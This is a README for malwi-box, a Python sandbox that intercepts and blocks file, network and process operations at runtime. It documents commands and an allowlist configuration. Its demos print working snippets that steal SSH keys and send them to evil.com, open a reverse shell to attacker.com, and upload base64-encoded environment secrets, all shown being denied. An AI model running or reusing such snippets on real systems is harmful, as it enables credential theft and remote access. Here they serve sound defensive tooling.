malwi-box

Intercept, audit, and block critical Python operations at runtime.

Shipped without any dependencies, except pip

Use Cases

• 🔬 Malware analysis - Safely detonate suspicious Python code and observe its behavior
• 📦 Dependency auditing - Discover what file, network, and process access a package actually needs
• 🔒 Runtime protection - Enforce allowlists to block unauthorized operations in production

Warning: This tool is not executed in isolation or virtualization, it runs on your actual machine, kernel and CPU. Use it at your own risk. Still it allows to reduce the blast radius of typical Python malware.

Installation

pip install malwi-box

Or with uv:

uv tool install malwi-box

Quick Start

Credential theft - Malware reads SSH keys and sends them to attacker:

$ malwi-box eval --review "
import os, urllib.request
key = open(os.path.expanduser('~/.ssh/id_rsa')).read()
urllib.request.urlopen('https://evil.com/steal', key.encode())
"
[malwi-box] Read file: /Users/you/.ssh/id_rsa
Approve? [Y/n/i]: n
Denied

Reverse shell - Malware connects to attacker's C2 server:

$ malwi-box eval --review "
import socket, subprocess
s = socket.socket()
s.connect(('attacker.com', 4444))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno())
"
[malwi-box] Connect: attacker.com:4444
Approve? [Y/n/i]: n
Denied

Data exfiltration - Malware encodes and uploads environment secrets:

$ malwi-box eval --review "
import os, base64, urllib.request
secrets = base64.b64encode(str(os.environ).encode())
urllib.request.urlopen('https://evil.com/upload', secrets)
"
[malwi-box] Base64: b64encode (<string>:3)
[malwi-box] HTTP POST: https://evil.com/upload
Approve? [Y/n/i]: n
Denied

Commands

run

Run a Python script or module with sandboxing.

malwi-box run script.py [args...]
malwi-box run --force script.py     # log violations without blocking
malwi-box run --review script.py    # approve/deny each operation

eval

Execute a Python code string with sandboxing.

malwi-box eval "print('hello')"
malwi-box eval --force "import os; os.system('id')"
malwi-box eval --review "open('/etc/passwd').read()"

pip install

Install pip packages with sandboxing. Most malware packages perform malicious activities at install-time.

malwi-box pip install package
malwi-box pip install package --version 1.2.3
malwi-box pip install -r requirements.txt
malwi-box pip install --review package # approve/deny each operation

venv

Create a sandboxed virtual environment. The venv's Python binaries are replaced with the malwi-box wrapper, so all code executed in the venv is automatically sandboxed.

malwi-box venv                    # creates .venv
malwi-box venv --path myenv       # custom path

After creation, activate and use normally:

source .venv/bin/activate
python script.py                  # sandboxed automatically
pip install requests              # install scripts are sandboxed

Or run code directly without activating:

$ .venv/bin/python -c "import socket; socket.socket().connect(('evil.com', 80))"
[malwi-box] Blocked: Connect: evil.com:80

Environment variables for controlling the sandbox:

MALWI_BOX_MODE=review python script.py   # interactive mode
MALWI_BOX_ENABLED=0 python script.py     # disable sandbox

config

Manage configuration.

malwi-box config create # creates .malwi-box.toml
malwi-box config create --path FILE

Configuration Reference

Config file: .malwi-box.toml

# File access permissions
allow_read = [
  "$PWD",                     # working directory
  "$PYTHON_STDLIB",           # Python standard library
  "$PYTHON_SITE_PACKAGES",    # installed packages
  "$HOME/.config/myapp",      # specific config directory
  "/etc/hosts",               # specific file
]

allow_create = [
  "$PWD",                     # allow creating files in workdir
  "$TMPDIR",                  # allow temp files
]

allow_modify = [
  "$PWD/data",                # only modify files in data/
  { path = "/etc/myapp.conf", hash = "sha256:abc123..." },
]

allow_delete = [
  "$TMPDIR",                  # allow temp cleanup
  "$PIP_CACHE",               # allow pip cache cleanup
]

# Network permissions
allow_domains = [
  "pypi.org",                 # allow any port
  "files.pythonhosted.org",
  "api.example.com:443",      # restrict to specific port
]

allow_ips = [
  "10.0.0.0/8",               # CIDR notation
  "192.168.1.100:8080",       # specific IP:port
  "[::1]:443",                # IPv6 with port
]

# HTTP URL path restrictions (empty = block all)
allow_http_urls = [
  "$PYPI_DOMAINS/*",              # use variable for PyPI URLs
  "api.example.com/v1/*",         # glob pattern for paths
  "cdn.example.com/assets/*",
  "https://secure.example.com/*", # explicit scheme
]

# HTTP methods allowed (empty = block all)
allow_http_methods = ["$ALL_HTTP_METHODS"]  # variable for all standard methods

# Raw socket access (default: false, blocks SOCK_RAW creation)
allow_raw_sockets = false

# Process execution
allow_executables = [
  "/usr/bin/git",             # allow by path
  "$PWD/.venv/bin/*",         # glob pattern
  { path = "/usr/bin/curl", hash = "sha256:abc123..." },
]

allow_shell_commands = [
  "/usr/bin/git *",           # glob pattern matching
  "/usr/bin/curl *",
]

# Environment variables (empty = block all)
allow_env_var_reads = ["$SAFE_ENV_VARS"]  # variable for safe env vars

Variables

Variables can be used in config values and are expanded at runtime.

List variables can be combined with patterns: $PYPI_DOMAINS/* expands to pypi.org/*, files.pythonhosted.org/*.

Allowlist Behavior

All allow_* attributes consistently block when empty. Use variables to document what's being allowed:

Network Behavior

• Domains in allow_domains automatically permit their resolved IPs
• Direct IP access requires explicit allow_ips entries
• CIDR notation supported for IP ranges
• Port restrictions supported for both domains and IPs

HTTP Request Interception

Supported libraries:

• urllib.request (stdlib)
• http.client (stdlib)
• urllib3
• requests
• httpx
• aiohttp

URL allowlisting:

• If allow_http_urls is empty, all HTTP requests are blocked
• Default uses $PYPI_DOMAINS/* to allow pip install
• Requests must match both domain AND URL pattern
• Scheme (http://, https://) is optional in patterns - omit to match both
• Glob patterns supported for paths: api.example.com/v1/*
• Subdomain matching: example.com/api/* matches api.example.com/api/*

Method restrictions:

• If allow_http_methods is empty, all HTTP requests are blocked
• Default uses $ALL_HTTP_METHODS to allow all standard methods
• If configured, only listed methods are permitted (e.g., ["GET", "HEAD"])

Bypass note: Raw socket HTTP requests bypass library hooks but are blocked by default (allow_raw_sockets = false). The socket.connect event still captures all connections at the network level.

Hash Verification

Executables and files can include SHA256 hashes:

allow_executables = [
  { path = "/usr/bin/git", hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" },
]

Information Events

Some operations are logged for auditing but never blocked. They help identify potentially suspicious behavior during program analysis:

Bypass Protection

• Blocks sys.addaudithook to prevent registering competing hooks
• Blocks sys.settrace and sys.setprofile to prevent debugger-based evasion
• Blocks ctypes.dlopen by default to prevent loading native code that bypasses hooks

Limitations

• Audit hooks cannot be bypassed from Python, but native code can
• Here it is important to review which executables are allow-listed